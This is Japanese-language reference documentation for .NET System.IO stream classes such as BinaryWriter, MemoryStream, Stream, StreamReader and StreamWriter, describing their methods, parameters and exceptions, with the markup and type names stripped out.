エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 2 バイト符号付き整数を書き込み、ストリームの位置を 2 バイトだけ進めます。 + 書き込む 2 バイト符号付き整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 4 バイト符号付き整数を書き込み、ストリームの位置を 4 バイトだけ進めます。 + 書き込む 4 バイト符号付き整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 8 バイト符号付き整数を書き込み、ストリームの位置を 8 バイトだけ進めます。 + 書き込む 8 バイト符号付き整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに符号付きバイトを書き込み、ストリームの位置を 1 バイトだけ進めます。 + 書き込む符号付きバイト。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 4 バイト浮動小数点値を書き込み、ストリームの位置を 4 バイトだけ進めます。 + 書き込む 4 バイト浮動小数点値。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 文字長プリフィックスを持つ文字列を、 の現在のエンコーディングでこのストリームに書き込み、使用したエンコーディングとストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込む値。 + I/O エラーが発生しました。 + + は null なので、 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 2 バイト符号なし整数を書き込み、ストリームの位置を 2 バイトだけ進めます。 + 書き込む 2 バイト符号なし整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 4 バイト符号なし整数を書き込み、ストリームの位置を 4 バイトだけ進めます。 + 書き込む 4 バイト符号なし整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 8 バイト符号なし整数を書き込み、ストリームの位置を 8 バイトだけ進めます。 + 書き込む 8 バイト符号なし整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 32 ビット整数を圧縮形式で書き込みます。 + 書き込む 32 ビット整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + ストリームが閉じられました。 + + + ストリームの末尾を越えて読み込もうとしたときにスローされる例外。 + 2 + + + メッセージ文字列がシステムによって提供されたメッセージに設定され、HRESULT が COR_E_ENDOFSTREAM に設定された クラスの新しいインスタンスを初期化します。 + + + メッセージ文字列を に設定し、HRESULT を COR_E_ENDOFSTREAM に設定して、 クラスの新しいインスタンスを初期化します。 + エラーを説明する文字列。 の内容は、ユーザーが理解できる内容にします。このコンストラクターの呼び出し元では、この文字列が現在のシステムのカルチャに合わせてローカライズ済みであることを確認しておく必要があります。 + + + 指定したエラー メッセージと、この例外の原因である内部例外への参照を使用して、 クラスの新しいインスタンスを初期化します。 + エラーを説明する文字列。 の内容は、ユーザーが理解できる内容にします。このコンストラクターの呼び出し元では、この文字列が現在のシステムのカルチャに合わせてローカライズ済みであることを確認しておく必要があります。 + 現在の例外の原因である例外。 パラメーターが null でない場合は、内部例外を処理する catch ブロックで現在の例外が発生します。 + + + データ ストリームが無効な形式である場合にスローされる例外。 + + + + クラスの新しいインスタンスを初期化します。 + + + 指定したエラー メッセージを使用して、 クラスの新しいインスタンスを初期化します。 + 例外の原因を説明するエラー メッセージ。 + + + この例外の原因である内部例外への参照を指定して、 クラスの新しいインスタンスを初期化します。 + 例外の原因を説明するエラー メッセージ。 + 現在の例外の原因である例外。 パラメーターが null でない場合は、内部例外を処理する catch ブロックで現在の例外が発生します。 + + + バッキング ストアとしてメモリを使用するストリームを作成します。この種類の .NET Framework ソース コードを参照して、次を参照してください。、 Reference Sourceです。 + 2 + + + + クラスの新しいインスタンスを、0 に初期化される拡張可能な容量を使用して 初期化します。 + + + 指定したバイト配列に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + 現在のストリームを作成する符号なしバイトの配列。 + + は null です。 + + + + プロパティを指定どおりに設定し、指定したバイト配列に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが書き込みをサポートするかどうかを決定する プロパティの設定。 + + は null です。 + + + バイト配列の指定した領域 (インデックス) に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが開始する位置の のインデックス。 + バイト単位のストリーム長。 + + は null です。 + + または が 0 未満です。 + バッファー長から を差し引いた値が より小さい値です。 + + + + プロパティを指定どおりに設定し、バイト配列の指定した領域に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが開始する位置の のインデックス。 + バイト単位のストリーム長。 + ストリームが書き込みをサポートするかどうかを決定する プロパティの設定。 + + は null です。 + + または が負の値です。 + バッファー長から を差し引いた値が より小さい値です。 + + + + プロパティを指定どおりに設定し、 を呼び出す機能を指定どおりに設定して、バイト配列の指定した領域に基づき、 クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが開始する位置の のインデックス。 + バイト単位のストリーム長。 + ストリームが書き込みをサポートするかどうかを決定する プロパティの設定。 + ストリームの作成元の符号なしバイト配列を返す を有効にする場合は true。それ以外の場合は false。 + + は null です。 + + または が負の値です。 + バッファー長から を差し引いた値が より小さい値です。 + + + + クラスの新しいインスタンスを、指定に従って初期化される拡張可能な容量を使用して初期化します。 + バイト単位の内部配列の初期サイズ。 + + が負の値です。 + + + 現在のストリームが読み取りをサポートしているかどうかを示す値を取得します。 + ストリームが開いている場合は true。 + 2 + + + 現在のストリームがシークをサポートしているかどうかを示す値を取得します。 + ストリームが開いている場合は true。 + 2 + + + 現在のストリームが書き込みをサポートしているかどうかを示す値を取得します。 + ストリームが書き込みをサポートしている場合は true。それ以外の場合は false。 + 2 + + + ストリームに割り当てられたバイト数を取得または設定します。 + ストリームに対してバッファーが使用できる部分の長さ。 + 容量が負の値または現在のストリーム長より小さい値に設定されています。 + 現在のストリームが閉じています。 + 容量を変更できないストリームに対して set が呼び出されました。 + 2 + + + 指定されたバッファー サイズを使用して、現在のストリームからすべてのバイトを非同期に読み取り、指定されたバッファー サイズとキャンセル トークンを使用して、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ (バイト数)。これは、0 より大きい値である必要があります。 + キャンセル要求を監視するためのトークン。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + + クラスによって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + アクションが実行されないように、 メソッドをオーバーライドします。 + 2 + + + このストリームのすべてのバッファーを非同期的にクリアし、キャンセル要求を監視します。 + 非同期のフラッシュ操作を表すタスク。 + キャンセル要求を監視するためのトークン。 + ストリームは破棄されています。 + + + バイト単位のストリーム長を取得します。 + バイト単位のストリーム長。 + ストリームが閉じられました。 + 2 + + + ストリームの現在位置を取得または設定します。 + ストリーム内の現在位置。 + 位置が負の値または より大きい値に設定されています。 + ストリームが閉じられました。 + 2 + + + 現在のストリームからバイトのブロックを読み取り、データをバッファーに書き込みます。 + バッファーに書き込まれた合計バイト数。要求しただけのバイト数を読み取ることができなかった場合、この値は要求したバイト数より小さくなります。また、データを読み取る前にストリームの末尾に到達した場合は 0 になります。 + このメソッドが戻るとき、指定したバイト配列の から ( + - 1) までの値が、現在のストリームから読み取られた文字に置き換えられています。 + 現在のストリームからのデータの格納を開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 読み取る最大バイト数。 + + は null です。 + + または が負の値です。 + バッファー長から を差し引いた値が より小さい値です。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリームから非同期的にバイト シーケンスを非同期に読み取り、読み取ったバイト数だけストリーム内の位置を進め、キャンセル要求を監視します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを書き込むバッファー。 + ストリームからのデータの書き込み開始位置を示す 内のバイト オフセット。 + 読み取る最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは読み取りをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の読み取り操作で使用中です。 + + + 現在のストリームからバイトを読み取ります。 + + にキャストしたバイト。ストリームの末尾に達した場合は -1。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリーム内の位置を指定した値に設定します。 + 初期参照ポイントとオフセットを組み合わせて計算するストリーム内の新しい位置。 + ストリームの新しい位置。これは パラメーターに対する相対値であり、正または負の値にできます。 + シーク参照ポイントとして機能する 型の値。 + ストリームの先頭より前をシークしようとしました。 + + が より大きくなっています。 + 無効な があります。または によって算術オーバーフローが発生しました。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリーム長を指定した値に設定します。 + 長さを設定する値。 + 現在のストリームのサイズが変更できません。 が現在の容量を超えています。または 現在のストリームが書き込みをサポートしません。 + + が負または の最大長より大きな値です。最大長は、( - origin) で計算され、origin は、ストリームが開始する位置を示す基になるバッファーのインデックスです。 + 2 + + + + プロパティには関係なく、ストリームの内容をバイト配列に書き込みます。 + 新しいバイト配列。 + 2 + + + このストリームの作成元の符号なしバイトの配列を返します。戻り値は、変換が成功したかどうかを示します。 + 変換が成功した場合は true。それ以外の場合は false。 + このストリームの作成元のバイト配列セグメント。 + + + バッファーから読み取ったデータを使用して、現在のストリームにバイトのブロックを書き込みます。 + データの書き込み元となるバッファー。 + 現在のストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + + は null です。 + ストリームは書き込みをサポートしません。詳細については、 のトピックを参照してください。または 現在の位置が、ストリームの末尾に向かって バイトよりも近い位置にあり、容量を変更できません。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + I/O エラーが発生しました。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリームにバイト シーケンスを非同期に書き込み、書き込んだバイト数だけストリーム内の現在位置を進め、キャンセル要求を監視します。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元となるバッファー。 + ストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは書き込みをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の書き込み操作で使用中です。 + + + 現在のストリーム内の現在位置に 1 バイトを書き込みます。 + 書き込むバイト。 + ストリームは書き込みをサポートしません。詳細については、 のトピックを参照してください。または 現在の位置がストリームの末尾になっており、容量を変更できません。 + 現在のストリームが閉じています。 + 2 + + + メモリ ストリームの内容全体を別のストリームに書き込みます。 + このメモリ ストリームが書き込まれるストリーム。 + + は null です。 + 現在のストリームまたは対象のストリームは閉じています。 + 2 + + + シークに使用するストリームの場所を指定します。 + 2 + + + ストリームの先頭を指定します。 + + + ストリーム内の現在位置を指定します。 + + + ストリームの末尾を指定します。 + + + バイト シーケンスのジェネリック ビューを提供します。これは抽象クラスです。この種類の .NET Framework ソース コードを参照して、次を参照してください。、 Reference Sourceです。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + 派生クラスでオーバーライドされた場合は、現在のストリームが読み取りをサポートするかどうかを示す値を取得します。 + ストリームが読み込みをサポートしている場合は true。それ以外の場合は false。 + 1 + + + 派生クラスでオーバーライドされた場合は、現在のストリームがシークをサポートするかどうかを示す値を取得します。 + ストリームがシークをサポートしている場合は true。それ以外の場合は false。 + 1 + + + 現在のストリームがタイムアウトできるかどうかを決定する値を取得します。 + 現在のストリームがタイムアウトできるかどうかを決定する値。 + 2 + + + 派生クラスでオーバーライドされた場合は、現在のストリームが書き込みをサポートするかどうかを示す値を取得します。 + ストリームが書き込みをサポートしている場合は true。それ以外の場合は false。 + 1 + + + 現在のストリームからバイトを読み取り、別のストリームに書き込みます。 + 現在のストリームの内容のコピー先のストリーム。 + + は null です。 + 現在のストリームは読み取りをサポートしていません。または は、書き込みをサポートしません。 + + メソッドが呼び出される前に、現在のストリームまたは が閉じられました。 + I/O エラーが発生しました。 + + + 指定されたバッファー サイズを使用して、現在のストリームからバイトを読み取り、別のストリームに書き込みます。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ。これは、0 より大きい値である必要があります。既定のサイズは 81920 です。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームは読み取りをサポートしていません。または は、書き込みをサポートしません。 + + メソッドが呼び出される前に、現在のストリームまたは が閉じられました。 + I/O エラーが発生しました。 + + + 現在のストリームからすべてのバイトを非同期に読み取り、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + + は null です。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + 指定されたバッファー サイズを使用して、現在のストリームからバイトを非同期に読み取り、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ (バイト数)。これは、0 より大きい値である必要があります。既定のサイズは 81920 です。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + 指定されたバッファー サイズを使用して、現在のストリームからバイトを非同期に読み取り、指定されたバッファー サイズとキャンセル トークンを使用して、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ (バイト数)。これは、0 より大きい値である必要があります。既定のサイズは 81920 です。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + + によって使用されているすべてのリソースを解放します。 + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 派生クラスによってオーバーライドされた場合は、ストリームに対応するすべてのバッファーをクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + I/O エラーが発生しました。 + 2 + + + ストリームに対応するすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + ストリームは破棄されています。 + + + ストリームに対応するすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込み、キャンセル要求を監視します。 + 非同期のフラッシュ操作を表すタスク。 + キャンセル要求を監視するためのトークン。既定値は です。 + ストリームは破棄されています。 + + + 派生クラスでオーバーライドされた場合は、ストリームの長さをバイト単位で取得します。 + ストリーム長 (バイト単位) を表す long 値。 + Stream から派生したクラスがシークをサポートしていません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + バッキング ストアを持たない Stream。 + 1 + + + 派生クラスでオーバーライドされた場合は、現在のストリーム内の位置を取得または設定します。 + ストリーム内の現在位置。 + I/O エラーが発生しました。 + ストリームがシークをサポートしていません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + 派生クラスによってオーバーライドされた場合は、現在のストリームからバイト シーケンスを読み取り、読み取ったバイト数の分だけストリームの位置を進めます。 + バッファーに読み取られた合計バイト数。要求しただけのバイト数を読み取ることができなかった場合、この値は要求したバイト数より小さくなります。ストリームの末尾に到達した場合は 0 (ゼロ) になることがあります。 + バイト配列。このメソッドが戻るとき、指定したバイト配列の から ( + -1) までの値が、現在のソースから読み取られたバイトに置き換えられます。 + 現在のストリームから読み取ったデータの格納を開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 現在のストリームから読み取る最大バイト数。 + + と の合計値が、バッファー長より大きい値です。 + + は null です。 + + または が負の値です。 + I/O エラーが発生しました。 + ストリームは読み取りをサポートしません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + 現在のストリームからバイト シーケンスを非同期に読み取り、読み取ったバイト数だけストリーム内の位置を進めます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを書き込むバッファー。 + ストリームからのデータの書き込み開始位置を示す 内のバイト オフセット。 + 読み取る最大バイト数。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは読み取りをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の読み取り操作で使用中です。 + + + 現在のストリームから非同期的にバイト シーケンスを非同期に読み取り、読み取ったバイト数だけストリーム内の位置を進め、キャンセル要求を監視します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを書き込むバッファー。 + ストリームからのデータの書き込み開始位置を示す 内のバイト オフセット。 + 読み取る最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは読み取りをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の読み取り操作で使用中です。 + + + ストリームから 1 バイトを読み取り、ストリーム内の位置を 1 バイト進めます。ストリームの末尾の場合は -1 を返します。 + Int32 にキャストされた符号なしバイト。ストリームの末尾の場合は -1。 + ストリームは読み取りをサポートしません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 2 + + + ストリームがタイムアウト前に読み取りを試行する期間を決定する値 (ミリ秒単位) を取得または設定します。 + ストリームがタイムアウト前に読み取りを試行する期間を決定する値 (ミリ秒単位)。 + + メソッドは、常に をスローします。 + 2 + + + 派生クラスでオーバーライドされた場合は、現在のストリーム内の位置を設定します。 + 現在のストリーム内の新しい位置。 + + パラメーターからの相対バイト オフセット。 + 新しい位置を取得するために使用する参照ポイントを示す 型の値。 + I/O エラーが発生しました。 + ストリームがシークをサポートしていません。たとえば、ストリームがパイプまたはコンソール出力によって生成された可能性があります。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + 派生クラスでオーバーライドされた場合は、現在のストリームの長さを設定します。 + 現在のストリームの希望の長さ (バイト数)。 + I/O エラーが発生しました。 + ストリームが書き込みとシークの両方をサポートしていません。たとえば、ストリームがパイプまたはコンソール出力によって生成された可能性があります。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 2 + + + 派生クラスによってオーバーライドされた場合は、現在のストリームにバイト シーケンスを書き込み、書き込んだバイト数の分だけストリームの現在位置を進めます。 + バイト配列。このメソッドは、 から現在のストリームに、 で指定されたバイト数だけコピーします。 + 現在のストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 現在のストリームに書き込むバイト数。 + 合計  と  がバッファーの長さより大きい。 + + nullです。 + + または  が負の値です。 + 指定したファイルが見つからないなど、I/O エラーが発生しました。 + ストリームは書き込みをサポートしません。 + + ストリームが閉じられた後が呼び出されました。 + 1 + + + 現在のストリームにバイト シーケンスを非同期に書き込み、書き込んだバイト数だけストリーム内の現在位置を進めます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元となるバッファー。 + ストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは書き込みをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の書き込み操作で使用中です。 + + + 現在のストリームにバイト シーケンスを非同期に書き込み、書き込んだバイト数だけストリーム内の現在位置を進め、キャンセル要求を監視します。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元となるバッファー。 + ストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは書き込みをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の書き込み操作で使用中です。 + + + ストリームの現在位置にバイトを書き込み、ストリームの位置を 1 バイトだけ進めます。 + ストリームに書き込むバイト。 + I/O エラーが発生しました。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 2 + + + ストリームがタイムアウト前に書き込みを試行する期間を決定する値 (ミリ秒単位) を取得または設定します。 + ストリームがタイムアウト前に書き込みを試行する期間を決定する値 (ミリ秒単位)。 + + メソッドは、常に をスローします。 + 2 + + + 特定のエンコーディングのバイト ストリームから文字を読み込む を実装します。この種類の .NET Framework ソース コードを参照して、次を参照してください。、 Reference Sourceです。 + 1 + + + 指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + + が読み取りをサポートしていません。 + + は null です。 + + + バイト順マーク検出オプションを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + ファイルの先頭にあるバイト順序マークを検索するかどうかを示します。 + + が読み取りをサポートしていません。 + + は null です。 + + + 文字エンコーディングを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + 使用する文字エンコーディング。 + + が読み取りをサポートしていません。 + + または が null です。 + + + 文字エンコーディングとバイト順マーク検出オプションを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + 使用する文字エンコーディング。 + ファイルの先頭にあるバイト順序マークを検索するかどうかを示します。 + + が読み取りをサポートしていません。 + + または が null です。 + + + 文字エンコーディング、バイト順マーク検出オプション、およびバッファー サイズを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + 使用する文字エンコーディング。 + ファイルの先頭にあるバイト順序マークを検索するかどうかを示します。 + 最小バッファー サイズ。 + ストリームは読み取りをサポートしません。 + + または が null です。 + + が 0 以下です。 + + + 指定した文字エンコーディング、バイト順マーク検出オプション、およびバッファー サイズに基づいて、指定したストリーム用の クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 読み取るストリーム。 + 使用する文字エンコーディング。 + ファイルの先頭にあるバイト順序マークを検索する場合は true。それ以外の場合は false。 + 最小バッファー サイズ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + + + 基になるストリームを返します。 + 基になるストリーム。 + 2 + + + 現在の オブジェクトが使用している現在の文字エンコーディングを取得します。 + 現在のリーダーが使用している現在の文字エンコーディング。 の メソッドを最初に呼び出した後、現在の文字エンコーディングを示す値が異なる場合があります。これは、 メソッドの最初の呼び出しまでエンコードの自動検出が実行されないためです。 + 2 + + + 内部バッファーをクリアします。 + 2 + + + 基になるストリームを閉じ、 によって使用されているアンマネージ リソースを解放します。任意でマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在のストリームの位置がストリームの末尾かどうかを示す値を取得します。 + 現在のストリームの位置がストリームの末尾の場合は true。それ以外の場合は false。 + 基になるストリームは破棄されています。 + 1 + + + 空のストリームの オブジェクト。 + 1 + + + 読み取り可能な次の文字を返しますが、その文字は使用されません。 + 読み取り対象の次の文字を表す整数。読み取り対象の文字が存在しない場合またはストリームがシークをサポートしていない場合は -1。 + I/O エラーが発生しました。 + 1 + + + 入力ストリームから次の文字を読み込み、1 文字分だけ文字位置を進めます。 + 入力ストリームの次の文字を オブジェクトで表した値。使用できる文字がない場合は -1。 + I/O エラーが発生しました。 + 1 + + + 指定したインデックスを開始位置として、現在のストリームから、指定された最大文字数をバッファー内に読み取ります。 + 読み込まれた文字数。ストリームの末尾でデータが読み込まれなかった場合は 0。この数値は、ストリーム内に使用できるデータがあるかどうかによって異なりますが、 パラメーター以下の数値になります。 + このメソッドが戻るとき、指定した文字配列の から () までの値が、現在のソースから読み取られた文字に置き換えられています。 + 書き込みの開始位置を示す のインデックス。 + 読み取り対象の最大文字数。 + バッファー長から を差し引いた値が より小さい値です。 + + は null です。 + + または が負の値です。 + I/O エラーが発生しました。たとえば、ストリームがクローズされています。 + 1 + + + 指定した最大文字数を現在のストリームから非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前にストリームの末尾に到達した場合は現在のメソッドが返ります。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 指定した最大文字数を現在のストリームから読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 読み取られた文字数。この数値は、すべての入力文字が読み取られたかどうかによって異なりますが、 以下の数値になります。 + このメソッドが戻るとき、指定した文字配列の から () までの値が、現在のソースから読み取られた文字に置き換えられています。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + + + 指定した最大文字数を現在のストリームから非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前にストリームの末尾に到達した場合、メソッドは制御を返します。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 現在のストリームから 1 行分の文字を読み取り、そのデータを文字列として返します。 + 入力ストリームからの次の行。入力ストリームの末尾に到達した場合は null。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + I/O エラーが発生しました。 + 1 + + + 現在のストリームから非同期的に 1 行分の文字を読み取り、そのデータを文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、ストリームの次の行が含まれます。または、すべての文字が読み取られた場合は null です。 + 次の行の文字数が、 を超えています。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + すべての文字の現在位置から末尾までを読み込みます。 + ストリームの現在位置から末尾までのストリームの残り部分 (文字列)。現在の位置がストリームの末尾である場合は、空の文字列 ("") が返されます。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + I/O エラーが発生しました。 + 1 + + + 現在位置からストリームの末尾まですべての文字を非同期的に読み取り、1 つの文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、現在位置からストリームの末尾までの文字から成る文字列が含まれます。 + 文字数が を超えています。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 文字を特定のエンコーディングでストリームに書き込むための を実装しています。この種類の .NET Framework ソース コードを参照して、次を参照してください。、参照ソースです。 + 1 + + + UTF-8 エンコーディングと既定のバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 書き込まれるストリーム。 + + が書き込み可能ではありません。 + + は null です。 + + + 指定したエンコーディングと既定のバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 書き込まれるストリーム。 + 使用する文字エンコーディング。 + + または が null です。 + + が書き込み可能ではありません。 + + + 指定したエンコーディングとバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 書き込まれるストリーム。 + 使用する文字エンコーディング。 + バイト単位のバッファー サイズ。 + + または が null です。 + + が負の値です。 + + が書き込み可能ではありません。 + + + 指定した円コーディングとバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 書き込まれるストリーム。 + 使用する文字エンコーディング。 + バイト単位のバッファー サイズ。 + true to leave the stream open after the object is disposed; otherwise, false. + + または が null です。 + + が負の値です。 + + が書き込み可能ではありません。 + + + + が呼び出されるたびに、 によって基になるストリームに対するバッファーをフラッシュするかどうかを示す値を取得または設定します。 + + に強制的にバッファーをフラッシュさせる場合は true。それ以外の場合は false。 + 1 + + + バッキング ストアと連結する、基になるストリームを取得します。 + この StreamWriter が書き込むストリーム。 + 2 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + 現在のエンコードは、Unicode サロゲート ペアの片方の表示をサポートしていません。 + + + 出力の書き込みに使用する を取得します。 + 